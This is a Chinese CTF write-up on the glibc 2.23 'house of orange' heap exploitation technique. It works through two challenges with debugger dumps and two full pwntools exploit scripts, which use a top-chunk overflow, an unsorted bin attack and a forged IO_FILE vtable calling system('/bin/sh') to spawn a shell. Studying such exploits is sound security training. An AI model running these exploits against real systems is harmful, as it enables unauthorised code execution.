0%

house of orange

基础知识

针对类型

  1. 程序中没有free函数

  2. 程序存在堆溢出,可以修改top chunk

  3. 使用libc版本:2.23-2.24

    2.27不适用原因:取消了abort刷新流的操作

步骤

2.23

  1. 堆溢出修改top chunk
  2. 申请比top chunk size大的chunk => top chunk放到unsorted bin中
  3. 利用unsorted bin attack结合FSOP(修改IO_list_all劫持到伪造的IO_FILE结构上) => getshell。

2.24

待更新

方法

free topchunk

申请size>top chunk,调用sysmalloc分配,分为两种情况:

  1. size>=mp_.mmap_threshold(0x20000),mmap分配
  2. 否则,释放原来的topchunk,并申请一个新的topchunk

绕过检查

具体看参考的,这里只记录方法

  1. top chunk的size:0x20af1 =>修改为0xaf1,即只保留后三位
  2. 申请0x1000大小即可

largebin链

解链unsorted bin的时候,会先把unsorted bin chunk放在large bin中,就会在fd_nextsizebk_nextsize上留下堆地址

fsop

  1. 利用unosortedbin attack修改_IO_list_all,即修改bk为_IO_list_all-0x10
    • 如果main_arena + 88作为文件流地址,那么它的chain指针对应的是smallbin[0x60]
  2. 伪造fake IOFILE,大小为0x60,放入small bin中

题目

houseoforange_hitcon_2016

house of orange经典题目

程序流程

  1. build:创建。一共创建三个chunk

    第一个chunk:0x10大小,存放house指针和orange指针

    第二个chunk:指定size创建chunk,填入content

    第三个chunk:0x8大小,存放price和color

  2. see:打印chunk内容

  3. upgrade:重新指定size,修改chunk内容。故存在堆溢出

漏洞利用

程序没有free函数,且存在堆溢出,故使用house of orange技术。

  1. 因为程序中没有free函数且存在堆溢出,故修改top chunk内容,再malloc一个大chunk,从而获得一个unsortedbin。
  2. 接着分割unsortedbin,得到largebin,从而泄露libc_base和heap_base
  3. 将old top chunk大小修改为0x60,并伪造io file。
  4. 利用unsortedbin attack修改_IO_list_all,使得0x60的chunk对应_IO_list_all_chain
  5. 再次malloc,由于unsortedbin attack后,unsortedbin链异常,故会触发malloc异常,刷新流,找到伪造的io file

详细过程

0.基本信息

1
2
3
4
5
6
7
8
9
10
11
winter@ubuntu:~/buu$ file houseoforange_hitcon_2016 
houseoforange_hitcon_2016: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a58bda41b65d38949498561b0f2b976ce5c0c301, stripped

winter@ubuntu:~/buu$ checksec houseoforange_hitcon_2016
[*] '/home/winter/buu/houseoforange_hitcon_2016'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

1.分配一个块

用来溢出修改top chunk

1
add(0x10,'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5555555a2000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555a2020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555a2040
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x5555555a2060
Size: 0x20fa1
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0x5555555a2000
0x5555555a2000: 0x0000000000000000 0x0000000000000021#存放house和orange指针的chunk
0x5555555a2010: 0x00005555555a2050 0x00005555555a2030
0x5555555a2020: 0x0000000000000000 0x0000000000000021#存放house内容的chunk,可以溢出
0x5555555a2030: 0x0000000000000061 0x0000000000000000
0x5555555a2040: 0x0000000000000000 0x0000000000000021#存放price和color的chunk
0x5555555a2050: 0x0000001f00000001 0x0000000000000000
0x5555555a2060: 0x0000000000000000 0x0000000000020fa1#top chunk,保留0xfa1即可
0x5555555a2070: 0x0000000000000000 0x0000000000000000

2.溢出,修改top chunk

通过edit的堆溢出,修改top chunk为0xfa1

1
2
3
4
5
payload = 'a' * 0x18
payload += p64(0x21)
payload += p32(1)+p32(0x1f) + p64(0)
payload += p64(0) + p64(0xfa1)
edit(len(payload),payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555556341000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556341020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556341040
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x555556341060
Size: 0xfa1
1
2
3
4
5
6
7
8
9
10
pwndbg> x/30gx 0x555556341000
0x555556341000: 0x0000000000000000 0x0000000000000021
0x555556341010: 0x0000555556341050 0x0000555556341030
0x555556341020: 0x0000000000000000 0x0000000000000021
0x555556341030: 0x6161616161616161 0x6161616161616161
0x555556341040: 0x6161616161616161 0x0000000000000021
0x555556341050: 0x0000ddaa00000001 0x0000000000000000
0x555556341060: 0x0000000000000000 0x0000000000000fa1
0x555556341070: 0x0000000000000000 0x0000000000000000
0x555556341080: 0x0000000000000000 0x0000000000000000

3.申请大块,释放top chunk

申请一个大于0xfa1的chunk,如0x1000,old top chunk会被放入unsortedbin中,并会申请一个新的top chunk

1
add(0x1000,'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555557493000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555557493080
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555574930a0
Size: 0xf41
fd: 0x7fcd0ff56b78
bk: 0x7fcd0ff56b78

Allocated chunk
Addr: 0x555557493fe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x555557493ff0
Size: 0x11

Allocated chunk
Addr: 0x555557494000
Size: 0x00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5555574930a0 —▸ 0x7fcd0ff56b78 (main_arena+88) ◂— 0x5555574930a0
smallbins
empty
largebins
empty

4.切割old topchunk为large chunk

large chunk中留有libc_base和heap_base,可以show出来

1
add(0x400,'a')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555556494000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555556494080
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555564940a0
Size: 0x21

Allocated chunk | PREV_INUSE#申请来的chunk
Addr: 0x5555564940c0
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x5555564944d0
Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE#top chunk
Addr: 0x5555564944f0
Size: 0xaf1
fd: 0x7fe4acc50b78
bk: 0x7fe4acc50b78

Allocated chunk
Addr: 0x555556494fe0
Size: 0x10

Allocated chunk | PREV_INUSE
Addr: 0x555556494ff0
Size: 0x11

Allocated chunk
Addr: 0x555556495000
Size: 0x00
1
2
3
4
5
6
pwndbg> x/30gx 0x5555564940c0
0x5555564940c0: 0x0000000000000000 0x0000000000000411
0x5555564940d0: 0x00007fe4acc51161 0x00007fe4acc51188
0x5555564940e0: 0x00005555564940c0 0x00005555564940c0
0x5555564940f0: 0x0000000000000000 0x0000000000000000
0x555556494100: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555556494000 0x5555564d7000 rw-p 43000 0 [heap]
0x7fe4ac8b5000 0x7fe4aca4d000 r-xp 198000 0 /usr/local/glibc-2.23/lib/libc-2.23.so
0x7fe4aca4d000 0x7fe4acc4c000 ---p 1ff000 198000 /usr/local/glibc-2.23/lib/libc-2.23.so
0x7fe4acc4c000 0x7fe4acc50000 r--p 4000 197000 /usr/local/glibc-2.23/lib/libc-2.23.so
0x7fe4acc50000 0x7fe4acc52000 rw-p 2000 19b000 /usr/local/glibc-2.23/lib/libc-2.23.so

泄漏libc_base和heap_base

这里,name的时候要用send,sendline的话,会导致这里有问题,,,,

1
2
3
show()
libcbase = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-0x39c161
log.success("libc_base:"+hex(libcbase))
1
2
3
4
5
[DEBUG] Received 0x271 bytes:
00000000 4e 61 6d 65 20 6f 66 20 68 6f 75 73 65 20 3a 20 │Name│ of │hous│e : │
00000010 61 61 d9 d1 6e 7f 0a 50 72 69 63 65 20 6f 66 20 │aa··│n··P│rice│ of │
[...]
[+] libc_base:0x7f6ed19fa000
1
2
3
4
5
6
payload = 'a'*0x18
edit(len(payload),payload)
show()
p.recvuntil('a'*0x18)
heapbase = u64(p.recv(6)+'\x00\x00') - 0xc0
log.success("heap_base:"+hex(heapbase))
1
2
3
4
5
[DEBUG] Received 0x29c bytes:
00000000 4e 61 6d 65 20 6f 66 20 68 6f 75 73 65 20 3a 20 │Name│ of │hous│e : │
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
00000020 61 61 61 61 61 61 61 61 c0 10 f0 55 55 55 0a 50 │aaaa│aaaa│···U│UU·P│
[+] heap_base:0x555555f01000

5.fsop

通过溢出,修改原来top chunk的内容。

  1. 修改size为0x60,从而unsortbin取走后放入smallbin0x60大小中

  2. 伪造io file,最开始放上’/bin/sh\x00’,IO_write_ptr=1>IO_write_base=0,伪造vtache,在_IO_overflow放上system地址

  3. unsortbin attack,修改_IO_list_all为&main_arena,在unsortedbin取链时,会在bk+0x10的位置写上&main_arena

  4. 再次malloc的时候,由于unsortedbin异常,故会打印错误,调用如下链:

    **libc_malloc => malloc_printerr =>** libc_message => abort => _IO_flush_all_lockp

    由于main_arena那个是错误的io file,会顺着_chain找下一个,也就是我们伪造的io file,从而调用system,get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
_IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']

payload = "a"*0x400 + p64(0)+p64(0x21)+ p64(0)+p64(0)
fake_file = '/bin/sh\x00' + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
payload += fake_file
payload += p64(heapbase + 0x5c8)
payload += p64(system) * 8

edit(0x800,payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
Allocated chunk | PREV_INUSE
Addr: 0x555556ffb0c0
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x555556ffb4d0
Size: 0x21

Free chunk (unsortedbin)
Addr: 0x555556ffb4f0
Size: 0x60
fd: 0x00
bk: 0x7fee3bd3b510
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x555556ffb4f0
0x555556ffb4f0: 0x0068732f6e69622f 0x0000000000000060
0x555556ffb500: 0x0000000000000000 0x00007fee3bd3b510
0x555556ffb510: 0x0000000000000000 0x0000000000000001
0x555556ffb520: 0x0000000000000000 0x0000000000000000
0x555556ffb530: 0x0000000000000000 0x0000000000000000
0x555556ffb540: 0x0000000000000000 0x0000000000000000
0x555556ffb550: 0x0000000000000000 0x0000000000000000
0x555556ffb560: 0x0000000000000000 0x0000000000000000
0x555556ffb570: 0x0000000000000000 0x0000000000000000
0x555556ffb580: 0x0000000000000000 0x0000000000000000
0x555556ffb590: 0x0000000000000000 0x0000000000000000
0x555556ffb5a0: 0x0000000000000000 0x0000000000000000
0x555556ffb5b0: 0x0000000000000000 0x0000000000000000
0x555556ffb5c0: 0x0000000000000000 0x0000555556ffb5c8
0x555556ffb5d0: 0x00007fee3b9de570 0x00007fee3b9de570
0x555556ffb5e0: 0x00007fee3b9de570 0x00007fee3b9de570
0x555556ffb5f0: 0x00007fee3b9de570 0x00007fee3b9de570
0x555556ffb600: 0x00007fee3b9de570 0x00007fee3b9de570
0x555556ffb610: 0x0000000000000000 0x0000000000000000
0x555556ffb620: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p*((struct _IO_FILE_plus*)0x555556ffb4f0)->vtable
$2 = {
__dummy = 93825020179912,
__dummy2 = 140661179147632,
__finish = 0x7fee3b9de570 <__libc_system>,
__overflow = 0x7fee3b9de570 <__libc_system>,
__underflow = 0x7fee3b9de570 <__libc_system>,
__uflow = 0x7fee3b9de570 <__libc_system>,
__pbackfail = 0x7fee3b9de570 <__libc_system>,
__xsputn = 0x7fee3b9de570 <__libc_system>,
__xsgetn = 0x7fee3b9de570 <__libc_system>,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
1
2
pwndbg> p*((struct _IO_FILE_plus*)0x555556ffb4f0)->vtable.__overflow
$1 = {int (_IO_FILE *, int)} 0x7fee3b9de570 <__libc_system>
1
2
3
pwndbg> x/30gx 0x00007fee3bd3b510
0x7fee3bd3b510: 0x0000000000000000 0x0000000000000000
0x7fee3bd3b520 <__GI__IO_list_all>: 0x00007fee3bd3b540 0x0000000000000000

6.malloc报错

1
2
p.recvuntil(":")
p.sendline("1")
1
2
3
pwndbg> x/30gx 0x00007faf3a0b7510
0x7faf3a0b7510: 0x0000000000000000 0x0000000000000000
0x7faf3a0b7520 <__GI__IO_list_all>: 0x00007faf3a0b6b78 0x0000000000000000
1
2
pwndbg>  p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7faf3a0b6b78 <main_arena+88>
1
2
3
pwndbg> x/30gx 0x00007faf3a0b6b78 + 0x60
0x7faf3a0b6bd8 <main_arena+184>: 0x0000555556b754f0 0x0000555556b754f0
0x7faf3a0b6be8 <main_arena+200>: 0x00007faf3a0b6bd8 0x00007faf3a0b6bd8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x0000555556b754f0
0x555556b754f0: 0x0068732f6e69622f 0x0000000000000060
0x555556b75500: 0x00007faf3a0b6bc8 0x00007faf3a0b6bc8
0x555556b75510: 0x0000000000000000 0x0000000000000001
0x555556b75520: 0x0000000000000000 0x0000000000000000
0x555556b75530: 0x0000000000000000 0x0000000000000000
0x555556b75540: 0x0000000000000000 0x0000000000000000
0x555556b75550: 0x0000000000000000 0x0000000000000000
0x555556b75560: 0x0000000000000000 0x0000000000000000
0x555556b75570: 0x0000000000000000 0x0000000000000000
0x555556b75580: 0x0000000000000000 0x0000000000000000
0x555556b75590: 0x0000000000000000 0x0000000000000000
0x555556b755a0: 0x0000000000000000 0x0000000000000000
0x555556b755b0: 0x0000000000000000 0x0000000000000000
0x555556b755c0: 0x0000000000000000 0x0000555556b755c8
0x555556b755d0: 0x00007faf39d5a570 0x00007faf39d5a570

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context(log_level='debug',arch='amd64')
file ='houseoforange_hitcon_2016'

local=1
#local libc
if local == 0:
p = process("./"+file)
elf = ELF("./"+file)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
elf = ELF("./"+file)
libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
p = process("./houseoforange_hitcon_2016",
env={"LD_PRELOAD":"/home/winter/buu/libc-2.23.so"})
elf = ELF("./"+file)
libc = ELF("./libc-2.23.so")

def cmd(choice):
p.recvuntil("choice :")
p.sendline(str(choice))

def add(size,name,price=1,color=1):
cmd(1)
p.recvuntil("name :")
p.sendline(str(size))
p.recvuntil("Name :")
p.send(name)
p.recvuntil("Price of Orange")
p.sendline(str(price))
p.recvuntil("Color of Orange")
p.sendline(str(color))

def show():
cmd(2)

def edit(size,name,price=1,color=0xddaa):
cmd(3)
p.recvuntil("name :")
p.sendline(str(size))
p.recvuntil("Name:")
p.send(name)
p.recvuntil("Orange:")
p.sendline(str(price))
p.recvuntil("Orange")
p.sendline(str(color))

add(0x10,'a')
payload = 'a' * 0x18
payload += p64(0x21)
payload += p32(1)+p32(0x1f) + p64(0)
payload += p64(0) + p64(0xfa1)
edit(len(payload),payload)

add(0x1000,'a')
add(0x400,'a')
show()
if local == 0:
log.success("0:"+hex(local))
libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
elif local == 1:
log.success("1:"+hex(local))
libcbase = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-0x39c161
else:
log.success("2:"+hex(local))
libc_base = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x3bba61
log.success("libc_base:"+hex(libcbase))

payload = 'a'*0x18
edit(len(payload),payload)
show()

p.recvuntil('a'*0x18)
heapbase = u64(p.recv(6)+'\x00\x00') - 0xc0
log.success("heap_base:"+hex(heapbase))

_IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']

payload = "a"*0x400 + p64(0)+p64(0x21)+ p64(0)+p64(0)
fake_file = '/bin/sh\x00' + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
payload += fake_file
payload += p64(heapbase + 0x5c8)
payload += p64(system) * 8

edit(0x800,payload)

p.recvuntil(":")
p.sendline("1")

p.interactive()

1/2概率

1
2
3
4
5
6
7
8
9
10
11
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange_hitcon_2016': malloc(): memory corruption: 0x00007fdf7644b520 ***
[*] Got EOF while reading in interactive
$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : *** Error in `./houseoforange_hitcon_2016': malloc(): memory corruption: 0x00007f37d5976520 ***
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x6e bytes:
'core\tgets\thouseoforange_hitcon_2016 magic.py orange.py\n'
'exp.py\thoo.py\tlibc-2.23.so\t\t magicheap winter.py\n'
core gets houseoforange_hitcon_2016 magic.py orange.py
exp.py hoo.py libc-2.23.so magicheap winter.py

参考 & 下载

附件

纵横杯2020 - wind_farm_panel

house of orange的经典题,没啥变化,,,有了上一个基础,很快能做出来

程序流程

image-20201229182916014

根据菜单,只有添加、打印和修改功能,没有free功能

image-20201229183505395

image-20201229183037804

而且添加和修改的时候都有堆溢出,故应该用house of orange来解。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = "wind_farm_panel"

local=1
#local libc
if local == 0:
p = process("./"+file)
elf = ELF("./"+file)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
elf = ELF("./"+file)
libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
p = process(["/home/winter/hoo/ld-2.23.so", "./"+file],
env={"LD_PRELOAD":"/home/winter/hoo/libc-2.23.so"})
elf = ELF("./"+file)
libc = ELF("./libc-2.23.so")

def cmd(choice):
p.recvuntil(">> ")
p.sendline(str(choice))

def add(idx,size,content):
cmd(1)
p.recvuntil("turned on(0 ~ 5):")
p.sendline(str(idx))
p.recvuntil("wind turbine: ")
p.sendline(str(size))
p.recvuntil("Your name:")
p.send(str(content))

def show(idx):
cmd(2)
p.recvuntil(" viewed: ")
p.sendline(str(idx))

def edit(idx,content):
cmd(3)
p.recvuntil("turbine:")
p.sendline(str(idx))
p.recvuntil("Please input: ")
p.send(str(content))

add(0,0x90,'winter')
payload = 'a'*0x90
payload += p64(0)
payload += p64(0xf61)
edit(0,payload)
add(1,0x1000,'winter')
add(2,0x400,'a')

show(2)
libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-0x39C161
log.success(hex(libc_base))

payload = 'a'*0x11
edit(2,payload)
show(2)
p.recvuntil('a'*0x10)
heapbase = u64(p.recv(6)+'\x00\x00')-0x61
log.success("heap_base:"+hex(heapbase))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']

payload = 'a'*0x400
fake_file = '/bin/sh\x00' + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all-0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xd8,'\x00')
payload += fake_file
payload += p64(heapbase + 0x588)
#0x555555f774b0 + 0xd8 - heap_base
payload += p64(system) * 8
edit(2,payload)

cmd(1)
p.recvuntil("turned on(0 ~ 5):")
p.sendline(str(3))
p.recvuntil("wind turbine: ")
p.sendline(str(0x90))

p.interactive()
1
2
3
4
5
6
7
8
9
10
[DEBUG] Received 0x56 bytes:
"*** Error in `./wind_farm_panel': malloc(): memory corruption: 0x00007f49da1f5520 ***\n"
*** Error in `./wind_farm_panel': malloc(): memory corruption: 0x00007f49da1f5520 ***
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x38 bytes:
'core ld-2.23.so libc-2.23.so\twind.py wind_farm_panel\n'
core ld-2.23.so libc-2.23.so wind.py wind_farm_panel
$

参考 & 下载

  1. https://www.giantbranch.cn/2018/12/29/CTF%20PWN%E4%B9%8Bhouse%20of%20orange/
  2. https://b0ldfrev.top/2018/11/06/House-of-orange/#FSOP
  3. https://xuanxuanblingbling.github.io/ctf/pwn/2020/12/28/orange/

总结

house of orange的步骤:

  1. 栈溢出,修改top chunk的大小。一般保留后三位就行。

  2. top chunk放入了unsortbin

  3. 申请一个small bin or large bin(会从unsortbin中切)

  4. 泄漏libc(申请回来的第一行数据)

  5. 泄漏堆地址(申请回来的第二行数据)

  6. unsortbin attack

    1. “/bin/sh\x00” + p64(0x61) => binsh是作为fp的第一参数,0x61是因为_chains刚好在这儿,

    2. fd随便,bk填libc.symbols['_IO_list_all']-0x10

    3. 接着是_IO_write_base和IO_write_ptr > fp,需要让fp->_IO_write_ptr > fp->_IO_write_base,故分别填0、1即可

    4. 因为vtable的偏移是0xd8,所以都填上0即可(mode需要为0)

    5. 在vtable上填上假的构造的即可,这里是system的函数地址
    6. 最后修改即可。
Q:如果阅读本文需要付费,你是否愿意为此支付1元?